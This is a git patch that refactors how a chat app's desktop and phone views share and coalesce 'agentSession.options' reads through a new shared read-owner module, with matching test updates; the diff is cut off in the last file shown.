84aed85c7c62eac775dcc349b4261d8ab96027d3 Mon Sep 17 00:00:00 2001 From: Brennan Benson <79079362+brennanb2025@users.noreply.github.com> Date: Fri, 30 Oct 2026 23:32:00 -0700 Subject: [PATCH 15/47] Share chat options read ownership across desktop and phone (#36582) * Share chat options read ownership across desktop and phone * Start a new chat context's options read at once Reads were coalesced on one queue for the whole view, so after a reconnect, provider restart, phone path change or chat switch the current read waited behind the previous context's request, up to the transport timeout. Each attachment now has its own queue: reads still coalesce to one active and one trailing request within a context, while a new context reads immediately and the old context's reply stays inert. Restores the shared option refresh contract and the reopen test to their original expectations. * Let desktop options tests wait for the shared read queue The shared read queue starts a read one microtask after it is scheduled, where the old desktop runner started it synchronously. The selection lifetime and context usage tests now wait for each read to start before asserting on it, keeping every original assertion, including one active and one trailing refresh. The paired server test compares transport targets by value, since the options view memoizes an equal target per environment. * Keep chat support projections stable between options answers Desktop and phone rebuilt the conversation, image and command support objects every render, and a host that omits commands produced a fresh empty list each time. Project them once per accepted answer. * Import options wire types once in the selection reads performance test * Keep chat support visible across a controller change Replacing the selection controller, as a desktop re-pair does, cleared the last accepted support, so slash commands, the goal row and the context meter disappeared until the next options answer. On the phone, returning to a chat before the other chat answered showed fallbacks. The support stays tagged with its session and every consumer already filters by session, so it is now kept, as before the shared owner. * Coalesce phone options rereads across turns and status changes Each new turn or host status change re-attached the phone's options reader, so a quick run of turns sent one parallel options request per turn. These changes now reread within the current context, as on desktop: one request runs and at most one waits behind it, and only the latest answer publishes. A status change that arrives while a read is in flight now waits for that read, which the transport bounds. * Restore the phone status wake assertion and type the burst test commands A refused pick is dropped rather than kept as a finished operation, and the path change replaced the options record, so no revalidation read is in flight when the status wake arrives. The wake therefore reads at once, as the original test asserted. The burst test's superseded answer now carries a real conversation command. --- ...ured-agent-options.declared-effort.test.ts | 9 +- ...-structured-agent-options.lifetime.test.ts | 34 ++- ...ured-agent-options.permission-mode.test.ts | 45 ++- .../use-mobile-structured-option-state.ts | 262 ++++++----------- ...tured-agent-session-context-usage.test.tsx | 7 +- ...e-structured-agent-session-option-state.ts | 277 ++++++------------ ...t-session-options.learned-default.test.tsx | 4 + ...-structured-agent-session-options.test.tsx | 7 +- .../use-structured-agent-session-options.ts | 6 +- ...ured-agent-session-paired-runtime.test.tsx | 5 +- ...ssion-selection-reads.performance.test.tsx | 84 +++++- ...-agent-session-selection-lifetime.test.tsx | 3 +- ...d-agent-session-options-read-owner.test.ts | 195 ++++++++++++ ...ctured-agent-session-options-read-owner.ts | 195 ++++++++++++ 14 files changed, 758 insertions(+), 375 deletions(-) create mode 100644 src/shared/structured-agent-session-options-read-owner.test.ts create mode 100644 src/shared/structured-agent-session-options-read-owner.ts diff --git a/mobile/src/session/use-mobile-structured-agent-options.declared-effort.test.ts b/mobile/src/session/use-mobile-structured-agent-options.declared-effort.test.ts index 1f094b3b972..e3a23d0bbcb 100644 --- a/mobile/src/session/use-mobile-structured-agent-options.declared-effort.test.ts +++ b/mobile/src/session/use-mobile-structured-agent-options.declared-effort.test.ts @@ -15,8 +15,9 @@ it('renders trustworthy context through the phone consumer while capturing only for (const input of ['low', 'max', 'opencode', 'absent'] as const) { const { agent, model, display, live, resting, catalog } = await recordedEffortCase(input) for (const answer of [live, resting]) { + let response = Promise.resolve(answer) const { client } = optionsClient( - async () => answer, + () => response, async () => catalog ) const harness = await mountOptions({ @@ -35,6 +36,12 @@ it('renders trustworthy context through the phone consumer while capturing only } expect(effort?.kind.currentValue).toBe(display ?? undefined) expect(harness.current().sendSelection()).toEqual({ selection: { model } }) + response = new Promise(() => {}) + await harness.rerender({ fence: 2 }) + expect(descriptorFor(harness.current().optionSnapshot, 'effort')?.kind.currentValue).toBe( + display ?? undefined + ) + expect(harness.current().sendSelection()).toEqual({ selection: { model } }) await harness.unmount() } } diff --git a/mobile/src/session/use-mobile-structured-agent-options.lifetime.test.ts b/mobile/src/session/use-mobile-structured-agent-options.lifetime.test.ts index 92a9d90b45f..8b6f9d85db3 100644 --- a/mobile/src/session/use-mobile-structured-agent-options.lifetime.test.ts +++ b/mobile/src/session/use-mobile-structured-agent-options.lifetime.test.ts @@ -35,7 +35,7 @@ it('keeps actual phone operations and correlated acceptance through a stable-cli const stale = deferred() let oldReads = 0 const physical = optionsClient(() => - ++oldReads === 1 ? Promise.resolve(OPTIONS) : stale.promise + ++oldReads === 1 ? Promise.resolve({ ...OPTIONS, acceptsImages: true }) : stale.promise ) const currentReads: ReturnType>[] = [] const next = optionsClient(() => { @@ -77,8 +77,11 @@ it('keeps actual phone operations and correlated acceptance through a stable-cli await client.migrateTo(next.client, 'relay') }) await settle() - await act(async () => stale.resolve({ ...OPTIONS, conversationCommands: ['compact'] })) + await act(async () => + stale.resolve({ ...OPTIONS, acceptsImages: false, conversationCommands: ['compact'] }) + ) expect(view.current().conversationCommands).toEqual([]) + expect(view.current().acceptsImages).toBe(true) expect(currentValueOf(view.current().optionSnapshot, 'model')).toBe('gpt-fast') expect(view.current().sendSelection()).toMatchObject({ selection: { model: 'gpt-fast' } }) await act(async () => @@ -217,6 +220,33 @@ it('reads the new physical path after an idle connected-to-connected migration w client.close() }) +it('coalesces a burst of turns into one running and one trailing options read', async () => { + const reads: ReturnType>[] = [] + const rpc = optionsClient(() => { + const read = deferred() + reads.push(read) + return read.promise + }) + const { mutate } = recordingMutate(async () => ({ status: 'unknown' })) + const view = await mountOptions({ ...BASE, client: rpc.client, mutate }) + expect(reads).toHaveLength(1) + await act(async () => reads[0].resolve(OPTIONS)) + await settle() + for (let turn = 1; turn <= 10; turn++) { + await view.rerender({ turnId: `turn-${turn}` }) + } + expect(reads).toHaveLength(2) + await act(async () => reads[1].resolve({ ...OPTIONS, conversationCommands: ['clear'] })) + await settle() + expect(view.current().conversationCommands).toEqual([]) + expect(reads).toHaveLength(3) + await act(async () => reads[2].resolve({ ...OPTIONS, conversationCommands: ['compact'] })) + await settle() + expect(reads).toHaveLength(3) + expect(view.current().conversationCommands).toEqual(['compact']) + await view.unmount() +}) + it.each(['current', 'failed-then-wake', 'true-end'] as const)( 'settles a late refusal after a physical reset without losing progress (%s)', async (schedule) => { diff --git a/mobile/src/session/use-mobile-structured-agent-options.permission-mode.test.ts b/mobile/src/session/use-mobile-structured-agent-options.permission-mode.test.ts index af475729f33..1eb994938a1 100644 --- a/mobile/src/session/use-mobile-structured-agent-options.permission-mode.test.ts +++ b/mobile/src/session/use-mobile-structured-agent-options.permission-mode.test.ts @@ -1,3 +1,8 @@ +import * as selectionOperations from '../../../src/shared/structured-agent-session-selection-operations' +import { + rememberMobileCreatedStructuredSession, + mobileCreatedStructuredSession +} from './mobile-created-structured-sessions' import { createElement } from 'react' import { act, create, type ReactTestRenderer } from 'react-test-renderer' import { describe, expect, it, vi } from 'vitest' @@ -97,6 +102,7 @@ async function mountOptions(props: ProbeProps) { await settle() return { pending: () => rendered.current?.pendingOptionId, + images: () => rendered.current?.acceptsImages, offered: () => { const entry = rendered.current?.optionSnapshot.find( (descriptor) => descriptor.id === 'permissionMode' @@ -131,19 +137,52 @@ async function mountOptions(props: ProbeProps) { // STA-10671: a 1.4.224 host ignores per-chat modes and runs its own Agent Permissions. describe('the permission pill against a host predating per-chat modes', () => { - it("says the chat runs the host's Agent Permissions, and offers nothing to pick", async () => { + it('publishes legacyHostPermissions only after a current options answer', async () => { + const factory = vi.spyOn(selectionOperations, 'createStructuredSessionSelectionController') + const old = Promise.withResolvers() + const current = Promise.withResolvers() + const rpc = optionsClient(undefined) + const send = rpc.client.sendRequest + let reads = 0 + rpc.client.sendRequest = async (method, params, config) => + method === 'agentSession.options' + ? { + id: 'held', + ok: true, + result: await (++reads === 1 ? old.promise : current.promise), + _meta: { runtimeId: 'runtime-1' } + } + : send(method, params, config) + rememberMobileCreatedStructuredSession('session-1', '/workspace') const options = await mountOptions({ - client: optionsClient(undefined).client, + client: rpc.client, fence: 1, - optionStamp: 'gpt-live|', + optionStamp: '', hostAdvertisesPermissionModes: false }) + const constructed = factory.mock.results.at(-1) + if (constructed?.type !== 'return') { + throw new Error('Phone selection owner was not created') + } + const controller = constructed.value + await act(async () => { + const pick = controller.issue('model', 'gpt-live', null) + controller.settle(pick, { kind: 'unknown' }) + }) + await act(async () => old.resolve({ ...optionsFor(), acceptsImages: false })) + expect(options.permission()).toBeNull() + expect(options.images()).toBe(true) + expect(mobileCreatedStructuredSession('session-1')).toEqual({ worktree: '/workspace' }) + await act(async () => current.resolve({ ...optionsFor(), acceptsImages: false })) expect(options.permission()).toBe('host') expect(options.offered()).toEqual(['host']) + expect(options.images()).toBe(false) + expect(mobileCreatedStructuredSession('session-1')).toBeUndefined() vi.mocked(mutate).mockClear() expect(await options.pick('own', true)).toBe(false) expect(mutate).not.toHaveBeenCalled() await options.unmount() + factory.mockRestore() }) // 1.4.225–1.4.226 apply modes without advertising the capability: their stated mode wins. diff --git a/mobile/src/session/use-mobile-structured-option-state.ts b/mobile/src/session/use-mobile-structured-option-state.ts index 348750c5792..c3a26865ac0 100644 --- a/mobile/src/session/use-mobile-structured-option-state.ts +++ b/mobile/src/session/use-mobile-structured-option-state.ts @@ -1,26 +1,15 @@ -import { useCallback, useEffect, useRef, useState, useSyncExternalStore } from 'react' +import { useCallback, useEffect, useMemo, useRef, useState, useSyncExternalStore } from 'react' import { mobileStructuredSessionStatusFeed } from './mobile-structured-session-status-feed' import { projectRuntimePermission } from '../../../src/shared/structured-agent-session-permission-option' -import type { AgentSessionConversationCommand } from '../../../src/shared/agent-session/agent-session-conversation-command' import { useMobileStructuredSelectionController } from './use-mobile-structured-selection-controller' -import type { - AgentSessionOptionsResult, - AgentSessionModelCatalogResult -} from '../../../src/shared/agent-session-wire' +import type { AgentSessionOptionsResult } from '../../../src/shared/agent-session-wire' import { callAgentSession } from './mobile-structured-agent-session-rpc' import { forgetMobileCreatedStructuredSession } from './mobile-created-structured-sessions' -import { createCoalescingKeyedRunner } from '../../../src/shared/coalescing-keyed-runner' +import { createStructuredAgentSessionOptionsReadOwner } from '../../../src/shared/structured-agent-session-options-read-owner' import type { RpcClient } from '../transport/rpc-client' import type { AgentSessionOptionCatalog } from '../../../src/shared/agent-session-option-catalog' import { usesInstalledAgentModelCatalog } from '../../../src/shared/agent-model-catalog-ownership' -import { cloneStructuredAgentSessionOptionRecord } from '../../../src/shared/structured-agent-session-option-state' -import { - createStructuredAgentSessionOptionState, - applyStructuredAgentSessionOptions, - applyStructuredAgentSessionModelCatalog, - settleStructuredAgentSessionBuiltinCatalog, - type StructuredAgentSessionOptionState -} from '../../../src/shared/structured-agent-session-options' +import { createStructuredAgentSessionOptionState } from '../../../src/shared/structured-agent-session-options' export function useMobileStructuredOptionState(args: { client: RpcClient | null @@ -67,31 +56,25 @@ export function useMobileStructuredOptionState(args: { const projectPermission = (state: T): T => projectRuntimePermission(state, summary, fence) const coherentCatalog = usesInstalledAgentModelCatalog(agent ?? '', hostCoherentCatalog) - const [optionState, setOptionState] = useState(() => - createStructuredAgentSessionOptionState(agent ?? 'codex', optionCatalog) + const [reader] = useState(() => + createStructuredAgentSessionOptionsReadOwner( + createStructuredAgentSessionOptionState(agent ?? 'codex', optionCatalog) + ) ) - const optionStateRef = useRef(optionState) - const activeOptionRecordRef = useRef(optionState.record) - const readEpoch = useRef(0) - const readRef = useRef<(() => void) | null>(null) - const reread = useCallback(() => { - readEpoch.current += 1 - readRef.current?.() - }, []) + const { optionState, support } = useSyncExternalStore(reader.subscribe, reader.getSnapshot) + const { + optionStateRef, + activeOptionRecordRef, + updateOptionState, + receiveCatalog, + invalidate: reread + } = reader const { controller, clientGeneration } = useMobileStructuredSelectionController({ agent, client, sessionId, onRevalidate: reread }) - const updateOptionState = useCallback( - (update: (current: StructuredAgentSessionOptionState) => StructuredAgentSessionOptionState) => { - const next = update(optionStateRef.current) - optionStateRef.current = next - setOptionState(next) - }, - [] - ) const contextKey = JSON.stringify([agent, sessionId, newLaunch, worktree, fence, connected]) const contextRef = useRef({ key: contextKey, client }) useEffect(() => { @@ -101,151 +84,88 @@ export function useMobileStructuredOptionState(args: { () => contextRef.current.key === contextKey && contextRef.current.client === client, [contextKey, client] ) - const optionIdentityRef = useRef({ agent, sessionId, client, controller }) - useEffect(() => { - const previousIdentity = optionIdentityRef.current - const sameSession = - previousIdentity.agent === agent && - previousIdentity.sessionId === sessionId && - previousIdentity.client === client && - previousIdentity.controller === controller - optionIdentityRef.current = { agent, sessionId, client, controller } - const previous = optionStateRef.current - const seeded = createStructuredAgentSessionOptionState(agent ?? 'codex', optionCatalog) - // Retain account answers across fence changes instead of reviving placeholders. - const kept = - sameSession && - (previous.optionsAnswerPresent || - (previous.catalogSource !== 'seed' && previous.catalogSource !== null)) + // Projected once per accepted answer so consumers keep stable references between answers. + const { conversationSupport, imageSupport } = useMemo( + () => + support && support.sessionId !== null ? { - ...previous, - record: cloneStructuredAgentSessionOptionRecord(previous.record), - pendingId: null, - reportedPermissionMode: undefined, - reportedEffort: undefined + conversationSupport: { + sessionId: support.sessionId, + fence: support.fence, + commands: support.result.conversationCommands ?? [] + }, + imageSupport: { + sessionId: support.sessionId, + acceptsImages: support.result.acceptsImages, + statesPermissionMode: support.result.current?.permissionMode !== undefined + } } - : seeded - // Keep the chat’s mode visible through provider restarts. - const next = sameSession ? { ...kept, permissionMode: previous.permissionMode } : kept - readEpoch.current += 1 - optionStateRef.current = next - activeOptionRecordRef.current = next.record - setOptionState(next) - }, [ - agent, - enabled, - fence, - optionCatalog, - sessionId, - contextKey, - client, - clientGeneration, - controller - ]) - - const [conversationSupport, setConversationSupport] = useState<{ - sessionId: string - commands: readonly AgentSessionConversationCommand[] - fence: number | null - } | null>(null) - const [imageSupport, setImageSupport] = useState<{ - sessionId: string - acceptsImages: boolean | undefined - statesPermissionMode: boolean - } | null>(null) - + : { conversationSupport: null, imageSupport: null }, + [support] + ) const awaitingOptions = conversationSupport?.sessionId === sessionId && conversationSupport.fence !== fence - - const receiveCatalog = ( - catalog: AgentSessionModelCatalogResult | null, - _event: 'demand' | 'progress' | 'settled' - ) => { - updateOptionState((current) => - catalog && optionCatalog - ? applyStructuredAgentSessionModelCatalog(current, optionCatalog, catalog, { - newLaunch, - coherentCatalog + useEffect( + () => + reader.attach({ + owner: [agent, sessionId, client, controller], + reset: [contextKey, clientGeneration, enabled, optionCatalog], + sessionId, + fence, + seed: () => createStructuredAgentSessionOptionState(agent ?? 'codex', optionCatalog), + controller, + eligible: + !!client && + !!sessionId && + enabled && + !!optionCatalog && + (!providerStarting || !newLaunch || !!sendSelection), + optionCatalog, + newLaunch, + coherentCatalog, + authority: () => client?.getGeneration?.(), + isCurrent: isCurrentContext, + request: () => { + if (!client || !sessionId) { + throw new Error('Options reader is not attached') + } + return callAgentSession(client, 'agentSession.options', { + sessionId }) - : settleStructuredAgentSessionBuiltinCatalog(current, false) - ) - if (!coherentCatalog && catalog && catalog.origin !== 'unknown' && !catalog.listingInProgress) { - readRef.current?.() - } - } + }, + accepted: () => { + if (sessionId) { + forgetMobileCreatedStructuredSession(sessionId) + } + } + }), + [ + reader, + agent, + sessionId, + client, + controller, + contextKey, + clientGeneration, + enabled, + optionCatalog, + fence, + newLaunch, + coherentCatalog, + providerStarting, + sendSelection, + isCurrentContext + ] + ) + // A turn or host status change rereads within the same lease, as on desktop; it is not a new context. + const readStamp = JSON.stringify([optionStamp, turnId]) + const seenReadStamp = useRef(readStamp) useEffect(() => { - // Read each turn and after provider start; before start only a resumed chat has model evidence. - if ( - !client || - !sessionId || - !enabled || - !optionCatalog || - (providerStarting && newLaunch && !sendSelection) - ) { - return + if (seenReadStamp.current !== readStamp) { + seenReadStamp.current = readStamp + reread() } - let stale = false - const run = createCoalescingKeyedRunner() - const request = () => { - void run('options', 'latest', async () => { - if (stale || !isCurrentContext()) { - return - } - const record = activeOptionRecordRef.current - const epoch = readEpoch.current - const generation = client.getGeneration?.() - const completed = controller.captureRead() - const result = await callAgentSession( - client, - 'agentSession.options', - { sessionId } - ) - if (stale || !isCurrentContext() || activeOptionRecordRef.current !== record) { - return - } - // Latch for this view; a later view may run the model selected here. - forgetMobileCreatedStructuredSession(sessionId) - setImageSupport({ - sessionId, - acceptsImages: result.acceptsImages, - statesPermissionMode: result.current?.permissionMode !== undefined - }) - if (readEpoch.current !== epoch || client.getGeneration?.() !== generation) { - return - } - setConversationSupport({ sessionId, fence, commands: result.conversationCommands ?? [] }) - updateOptionState((current) => - applyStructuredAgentSessionOptions(current, optionCatalog, result, { - newLaunch, - coherentCatalog - }) - ) - controller.retire(completed) - }).catch(() => undefined) - } - readRef.current = request - request() - return () => { - stale = true - readRef.current = null - } - }, [ - client, - clientGeneration, - newLaunch, - enabled, - optionCatalog, - optionStamp, - sendSelection, - controller, - isCurrentContext, - coherentCatalog, - providerStarting, - sessionId, - fence, - turnId, - updateOptionState - ]) + }, [readStamp, reread]) return { projectPermission, diff --git a/src/renderer/src/components/native-chat/use-structured-agent-session-context-usage.test.tsx b/src/renderer/src/components/native-chat/use-structured-agent-session-context-usage.test.tsx index 466a1fa3c0a..5f6ab2dc7da 100644 --- a/src/renderer/src/components/native-chat/use-structured-agent-session-context-usage.test.tsx +++ b/src/renderer/src/components/native-chat/use-structured-agent-session-context-usage.test.tsx @@ -188,10 +188,15 @@ describe('useStructuredAgentSession context usage', () => { : Promise.resolve(null) ) const { result, rerender } = render() + // Reads start one microtask after they are scheduled, so let each start before its revisions. + await waitFor(() => expect(replies).toHaveLength(1)) await act(async () => replies[0](150_000)) await waitFor(() => expect(result.current.contextUsage).toMatchObject({ usedTokens: 150_000 })) - for (let revision = 1; revision <= 5; revision += 1) { + unloadedTurnRevisions = 1 + rerender() + await waitFor(() => expect(optionReads()).toBe(2)) + for (let revision = 2; revision <= 5; revision += 1) { unloadedTurnRevisions = revision rerender() } diff --git a/src/renderer/src/components/native-chat/use-structured-agent-session-option-state.ts b/src/renderer/src/components/native-chat/use-structured-agent-session-option-state.ts index 456656b7c42..81f33db023e 100644 --- a/src/renderer/src/components/native-chat/use-structured-agent-session-option-state.ts +++ b/src/renderer/src/components/native-chat/use-structured-agent-session-option-state.ts @@ -1,4 +1,3 @@ -import type { StructuredSessionConversationSupport } from './structured-agent-session-options-contract' import { structuredSessionSelectionAuthority, structuredSessionSelectionController @@ -6,21 +5,13 @@ import { import { useStructuredSessionSelectionReads } from './use-structured-session-selection-reads' import { projectRuntimePermission } from '../../../../shared/structured-agent-session-permission-option' import { useStructuredAgentSessionStatusSummary } from './StructuredAgentSessionStatusBridge' -import { useCallback, useEffect, useRef, useState } from 'react' -import type { - AgentSessionOptionsResult, - AgentSessionModelCatalogResult -} from '../../../../shared/agent-session-wire' +import { useCallback, useEffect, useMemo, useRef, useState, useSyncExternalStore } from 'react' +import type { AgentSessionOptionsResult } from '../../../../shared/agent-session-wire' import type { AgentType } from '../../../../shared/agent-status-types' import type { AgentSessionOptionCatalog } from '../../../../shared/agent-session-option-catalog' import { usesInstalledAgentModelCatalog } from '../../../../shared/agent-model-catalog-ownership' import { AGENT_SESSION_COHERENT_MODEL_CATALOG_CAPABILITY } from '../../../../shared/structured-agent-session-surface-capabilities' -import { - applyStructuredAgentSessionModelCatalog, - applyStructuredAgentSessionOptions, - settleStructuredAgentSessionBuiltinCatalog, - type StructuredAgentSessionOptionState -} from '../../../../shared/structured-agent-session-options' +import type { StructuredAgentSessionOptionState } from '../../../../shared/structured-agent-session-options' import type { RuntimeClientTarget } from '../../../../shared/runtime-client-target' import { structuredAgentSessionOptionView } from '../../../../shared/structured-agent-session-option-view' import { @@ -33,11 +24,7 @@ import { structuredAgentSessionHostKey } from '@/runtime/structured-agent-session-host-capability' import { callStructuredAgentSession } from '@/runtime/structured-agent-session-client' -import { cloneStructuredAgentSessionOptionRecord } from '../../../../shared/structured-agent-session-option-state' -import { - createCoalescedPollRunner, - type CoalescedPollRunner -} from '../right-sidebar/coalesced-poll-runner' +import { createStructuredAgentSessionOptionsReadOwner } from '../../../../shared/structured-agent-session-options-read-owner' export { firstFrameOptionState } from './structured-agent-session-option-first-frame' import { firstFrameOptionState } from './structured-agent-session-option-first-frame' @@ -77,39 +64,50 @@ export function useStructuredAgentSessionOptionState(args: { worktree } = args const { summary, observation } = useStructuredAgentSessionStatusSummary(sessionId, target) - const [conversationSupport, setConversationSupport] = - useState(null) - // A revision the loaded window dropped can move the host's whole-journal context facts. - const contextRefresh = conversationSupport?.contextUsage ? (args.unloadedTurnRevisions ?? 0) : 0 - // Paint cached host evidence immediately; without it keep the placeholder until the host names the model. - const [optionState, setOptionState] = useState(() => - firstFrameOptionState(agent, target, { - newLaunch, - seedsModel, - ...(worktree ? { worktree } : {}) - }) + const [reader] = useState(() => + createStructuredAgentSessionOptionsReadOwner( + firstFrameOptionState(agent, target, { + newLaunch, + seedsModel, + ...(worktree ? { worktree } : {}) + }) + ) ) - // Read only when a fence or session resets the state, so a new target alone resets nothing. - const firstFrameLaunch = useRef({ target, newLaunch, worktree, seedsModel }) - useEffect(() => { - firstFrameLaunch.current = { target, newLaunch, worktree, seedsModel } - }, [newLaunch, seedsModel, target, worktree]) - const optionStateRef = useRef(optionState) - const activeOptionRecordRef = useRef(optionState.record) + const { optionState, support } = useSyncExternalStore(reader.subscribe, reader.getSnapshot) + // Projected once per accepted answer so consumers keep stable references between answers. + const conversationSupport = useMemo( + () => + support && support.sessionId !== null + ? { + sessionId: support.sessionId, + commands: support.result.conversationCommands ?? [], + threadGoal: support.result.threadGoal, + reportedThreadGoal: support.result.reportedThreadGoal, + contextUsage: support.result.contextUsage, + acceptsImages: support.result.acceptsImages, + rewind: support.result.rewind ?? { + supported: false as const, + reason: 'unsupported' as const + }, + fence: support.fence + } + : null, + [support] + ) + const contextRefresh = conversationSupport?.contextUsage ? (args.unloadedTurnRevisions ?? 0) : 0 + const { + optionStateRef, + activeOptionRecordRef, + updateOptionState, + receiveCatalog, + invalidate: rereadOptions + } = reader const authority = structuredSessionSelectionAuthority(target) const controller = structuredSessionSelectionController(target, sessionId, agent) const takesSelection = useStructuredAgentSessionHostCapability( target, AGENT_SESSION_SEND_SELECTION_RUNTIME_CAPABILITY ) - const updateOptionState = useCallback( - (update: (current: StructuredAgentSessionOptionState) => StructuredAgentSessionOptionState) => { - const next = update(optionStateRef.current) - optionStateRef.current = next - setOptionState(next) - }, - [] - ) const hostKey = structuredAgentSessionHostKey(target) const contextKey = JSON.stringify([identity, hostKey, newLaunch, worktree, fence, observation]) const contextRef = useRef(contextKey) @@ -121,135 +119,70 @@ export function useStructuredAgentSessionOptionState(args: { agent, useStructuredAgentSessionHostCapability(target, AGENT_SESSION_COHERENT_MODEL_CATALOG_CAPABILITY) ) - // A chat this view started names the default it runs until its first send pins it. - const applyOptionsAnswer = useCallback( - (current: StructuredAgentSessionOptionState, result: AgentSessionOptionsResult) => - optionCatalog - ? applyStructuredAgentSessionOptions(current, optionCatalog, result, { + useEffect( + () => + reader.attach({ + owner: [agent, sessionId, hostKey, identity, controller], + reset: [contextKey, authority], + sessionId, + fence, + seed: () => + firstFrameOptionState(agent, target, { newLaunch, - coherentCatalog - }) - : current, - [newLaunch, optionCatalog, coherentCatalog] + seedsModel, + ...(worktree ? { worktree } : {}) + }), + controller, + eligible: + providerVisible && + (!providerStarting || readsBeforeStart || takesSelection) && + optionCatalog !== null, + optionCatalog, + newLaunch, + coherentCatalog, + authority: () => structuredSessionSelectionAuthority(target), + isCurrent: () => isCurrentContext() && controller.isCurrent(), + request: () => + controller.request((options) => + callStructuredAgentSession( + target, + 'agentSession.options', + { sessionId }, + options + ) + ) + }), + [ + reader, + agent, + sessionId, + hostKey, + identity, + controller, + contextKey, + authority, + fence, + target, + newLaunch, + seedsModel, + worktree, + providerVisible, + providerStarting, + readsBeforeStart, + takesSelection, + optionCatalog, + coherentCatalog, + isCurrentContext + ] ) - const host = target.kind === 'local' ? 'local' : target.environmentId - const optionIdentity = JSON.stringify([identity, host]) - const optionIdentityRef = useRef({ identity: optionIdentity, controller }) - useEffect(() => { - const previous = optionStateRef.current - const sameSession = - optionIdentityRef.current.identity === optionIdentity && - optionIdentityRef.current.controller === controller - optionIdentityRef.current = { identity: optionIdentity, controller } - const launch = firstFrameLaunch.current - const seeded = firstFrameOptionState(agent, launch.target, launch) - // Retain saved picks/account listings across same-session restarts until the starting provider can be read. - const kept = - sameSession && - (previous.optionsAnswerPresent || - (previous.catalogSource !== 'seed' && previous.catalogSource !== null)) - ? { - ...previous, - record: cloneStructuredAgentSessionOptionRecord(previous.record), - pendingId: null, - reportedPermissionMode: undefined, - reportedEffort: undefined - } - : seeded - const next = sameSession ? { ...kept, permissionMode: previous.permissionMode } : kept - optionStateRef.current = next - activeOptionRecordRef.current = next.record - setOptionState(next) - }, [agent, fence, optionIdentity, contextKey, authority, controller]) - const readEpoch = useRef(0) - const optionsReadRef = useRef(null) - // Read each turn and after provider start to confirm the model the host actually runs. - useEffect(() => { - if ( - !providerVisible || - (providerStarting && !readsBeforeStart && !takesSelection) || - !optionCatalog - ) { - return - } - let stale = false - const runner = createCoalescedPollRunner(async () => { - if (!isCurrentContext()) { - return - } - const epoch = readEpoch.current - const record = activeOptionRecordRef.current - const completed = controller.captureRead() - const result = await controller.request((options) => - callStructuredAgentSession( - target, - 'agentSession.options', - { sessionId }, - options - ) - ) - if ( - !stale && - isCurrentContext() && - readEpoch.current === epoch && - structuredSessionSelectionAuthority(target) === authority && - activeOptionRecordRef.current === record - ) { - setConversationSupport({ - sessionId, - commands: result.conversationCommands ?? [], - threadGoal: result.threadGoal, - reportedThreadGoal: result.reportedThreadGoal, - contextUsage: result.contextUsage, - acceptsImages: result.acceptsImages, - rewind: result.rewind ?? { supported: false, reason: 'unsupported' }, - fence - }) - updateOptionState((current) => - current.record === record ? applyOptionsAnswer(current, result) : current - ) - controller.retire(completed) - } - }) - optionsReadRef.current = runner - runner.run() - return () => { - stale = true - runner.dispose() - optionsReadRef.current = null - } - }, [ - applyOptionsAnswer, - isCurrentContext, - authority, - controller, - takesSelection, - fence, - optionCatalog, - providerStarting, - providerVisible, - readsBeforeStart, - sessionId, - target, - updateOptionState - ]) - - // Options share the host queue with sends/interrupts; coalesce revision bursts into one active and one pending read. const seenContextRefresh = useRef(contextRefresh) useEffect(() => { if (contextRefresh !== seenContextRefresh.current) { seenContextRefresh.current = contextRefresh - readEpoch.current += 1 - optionsReadRef.current?.run() + rereadOptions() } - }, [contextRefresh]) - - // An options answer made before the account's listing landed listed none of it. - const rereadOptions = useCallback(() => { - readEpoch.current += 1 - optionsReadRef.current?.run() - }, []) + }, [contextRefresh, rereadOptions]) useStructuredSessionSelectionReads({ controller, target, @@ -258,22 +191,6 @@ export function useStructuredAgentSessionOptionState(args: { turnId: args.turnId, rereadOptions }) - const receiveCatalog = ( - catalog: AgentSessionModelCatalogResult | null, - _event: 'demand' | 'progress' | 'settled' - ) => { - updateOptionState((current) => - catalog && optionCatalog - ? applyStructuredAgentSessionModelCatalog(current, optionCatalog, catalog, { - newLaunch, - coherentCatalog - }) - : settleStructuredAgentSessionBuiltinCatalog(current, false) - ) - if (!coherentCatalog && catalog && catalog.origin !== 'unknown' && !catalog.listingInProgress) { - rereadOptions() - } - } const permissionOwnSupport = useStructuredAgentSessionOwnPermissionState(target) const permissionOwnSupported = permissionOwnSupport === 'unknown' ? null : permissionOwnSupport === 'supported' diff --git a/src/renderer/src/components/native-chat/use-structured-agent-session-options.learned-default.test.tsx b/src/renderer/src/components/native-chat/use-structured-agent-session-options.learned-default.test.tsx index e47cbbd944e..11f348068cd 100644 --- a/src/renderer/src/components/native-chat/use-structured-agent-session-options.learned-default.test.tsx +++ b/src/renderer/src/components/native-chat/use-structured-agent-session-options.learned-default.test.tsx @@ -246,6 +246,10 @@ describe('declared context at the desktop consumer', () => { expect(effort).toBeUndefined() } expect(chat.result.current.capture()).toEqual({ selection: { model } }) + mocks.call.mockImplementation(() => new Promise(() => {})) + chat.rerender({ running: { fence: 2 } }) + expect(chat.frames.at(-1)).toEqual({ model, effort: display ?? null }) + expect(chat.result.current.capture()).toEqual({ selection: { model } }) chat.unmount() } } diff --git a/src/renderer/src/components/native-chat/use-structured-agent-session-options.test.tsx b/src/renderer/src/components/native-chat/use-structured-agent-session-options.test.tsx index 10048774d86..75582d3f161 100644 --- a/src/renderer/src/components/native-chat/use-structured-agent-session-options.test.tsx +++ b/src/renderer/src/components/native-chat/use-structured-agent-session-options.test.tsx @@ -60,7 +60,7 @@ describe('useStructuredAgentSessionOptions', () => { })), current: { model, ...(effort ? { effort } : {}) } }) - const initial = menu('family') + const initial = { ...menu('family'), acceptsImages: true } const older = Promise.withResolvers() const latest = Promise.withResolvers() let reads = 0 @@ -91,9 +91,10 @@ describe('useStructuredAgentSessionOptions', () => { rerender({ ...REOPENED, agent: 'antigravity', hidden: true }) rerender({ ...REOPENED, agent: 'antigravity' }) await waitFor(() => expect(reads).toBe(3)) - await act(async () => latest.resolve(menu('newer', 'high'))) + await act(async () => latest.resolve({ ...menu('newer', 'high'), acceptsImages: true })) await waitFor(() => expect(currentValue(result.current.optionSnapshot, 'effort')).toBe('high')) - await act(async () => older.resolve(menu('family', 'low'))) + await act(async () => older.resolve({ ...menu('family', 'low'), acceptsImages: false })) + expect(result.current.acceptsImages).toBe(true) expect(currentValue(result.current.optionSnapshot, 'model')).toBe('newer') expect(descriptor(result.current.optionSnapshot, 'effort')).toMatchObject({ settable: true, diff --git a/src/renderer/src/components/native-chat/use-structured-agent-session-options.ts b/src/renderer/src/components/native-chat/use-structured-agent-session-options.ts index e7623ab7c2e..975ba9dc473 100644 --- a/src/renderer/src/components/native-chat/use-structured-agent-session-options.ts +++ 